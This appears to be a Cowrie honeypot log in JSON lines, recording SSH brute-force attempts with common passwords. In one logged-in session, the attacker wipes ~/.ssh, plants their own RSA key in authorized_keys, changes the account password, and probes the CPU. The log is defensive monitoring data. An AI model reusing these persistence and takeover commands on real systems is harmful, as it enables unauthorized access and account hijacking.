{"eventid":"cowrie.session.closed","duration":30.47056770324707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:00.121888Z","src_ip":"122.102.44.174","session":"c49ac58aba0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":4524,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbe61025b7b4","protocol":"ssh","message":"New connection: 201.149.53.243:4524 (10.17.0.5:22) [session: bbe61025b7b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:25.518540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:25.523117Z","src_ip":"201.149.53.243","session":"bbe61025b7b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:25.587514Z","src_ip":"201.149.53.243","session":"bbe61025b7b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"!QAZ2wsx","message":"login attempt [test/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:25.876338Z","src_ip":"201.149.53.243","session":"bbe61025b7b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:26.944079Z","src_ip":"201.149.53.243","session":"bbe61025b7b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":53384,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c83a77f86ca","protocol":"ssh","message":"New connection: 210.183.21.53:53384 (10.17.0.5:22) [session: 2c83a77f86ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:33.605125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:33.609951Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:33.812792Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin123456","message":"login attempt [admin/Admin123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:34.656586Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55640,"dst_ip":"159.203.135.109","dst_port":22,"session":"65d09110b4b9","protocol":"ssh","message":"New connection: 159.203.92.129:55640 (159.203.135.109:22) [session: 65d09110b4b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:34.696672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:34.701157Z","src_ip":"159.203.92.129","session":"65d09110b4b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:34.705785Z","src_ip":"159.203.92.129","session":"65d09110b4b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"WL","password":"123456","message":"login attempt [WL/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:34.715552Z","src_ip":"159.203.92.129","session":"65d09110b4b9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:35.100905Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:35.103860Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:35.107282Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:35.313130Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:35.758820Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:35.761083Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:35.768440Z","src_ip":"159.203.92.129","session":"65d09110b4b9","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:35.967635Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:35.971451Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":54290,"dst_ip":"10.17.0.5","dst_port":22,"session":"064557cffffe","protocol":"ssh","message":"New connection: 210.183.21.53:54290 (10.17.0.5:22) [session: 064557cffffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:36.165380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:36.170177Z","src_ip":"210.183.21.53","session":"064557cffffe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:36.372272Z","src_ip":"210.183.21.53","session":"064557cffffe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:37.209902Z","src_ip":"210.183.21.53","session":"064557cffffe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:38.415331Z","src_ip":"210.183.21.53","session":"064557cffffe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":55176,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab7e601e8f62","protocol":"ssh","message":"New connection: 210.183.21.53:55176 (10.17.0.5:22) [session: ab7e601e8f62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:38.604930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:38.610203Z","src_ip":"210.183.21.53","session":"ab7e601e8f62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:38.808893Z","src_ip":"210.183.21.53","session":"ab7e601e8f62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:39.636687Z","src_ip":"210.183.21.53","session":"ab7e601e8f62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:40.838721Z","src_ip":"210.183.21.53","session":"ab7e601e8f62","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:41.091879Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:41.094806Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:41.300382Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:41.766424Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"Admin123456\\nnkR7CDhAOvYd\\nnkR7CDhAOvYd\"|passwd|bash","message":"CMD: echo -e \"Admin123456\\nnkR7CDhAOvYd\\nnkR7CDhAOvYd\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:41.769947Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:41.773375Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:41.776382Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5a56f05fbf172c83e59b8dd624c5e2896b457f09d11effa08af83d64fdb9b1e1","size":32,"shasum":"5a56f05fbf172c83e59b8dd624c5e2896b457f09d11effa08af83d64fdb9b1e1","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5a56f05fbf172c83e59b8dd624c5e2896b457f09d11effa08af83d64fdb9b1e1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:41.983242Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:42.588608Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"Admin123456\\nnkR7CDhAOvYd\\nnkR7CDhAOvYd\\n\"|passwd","message":"CMD: echo \"Admin123456\\nnkR7CDhAOvYd\\nnkR7CDhAOvYd\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:42.591630Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f0b6ac92bd7be689dafa550f4c521e74551f174815f214987a26dea6c53745af","size":25,"shasum":"f0b6ac92bd7be689dafa550f4c521e74551f174815f214987a26dea6c53745af","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f0b6ac92bd7be689dafa550f4c521e74551f174815f214987a26dea6c53745af after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:42.796694Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:43.286288Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:18:43.289447Z","src_ip":"210.183.21.53","session":"2c83a77f86ca","protocol":"ssh"}
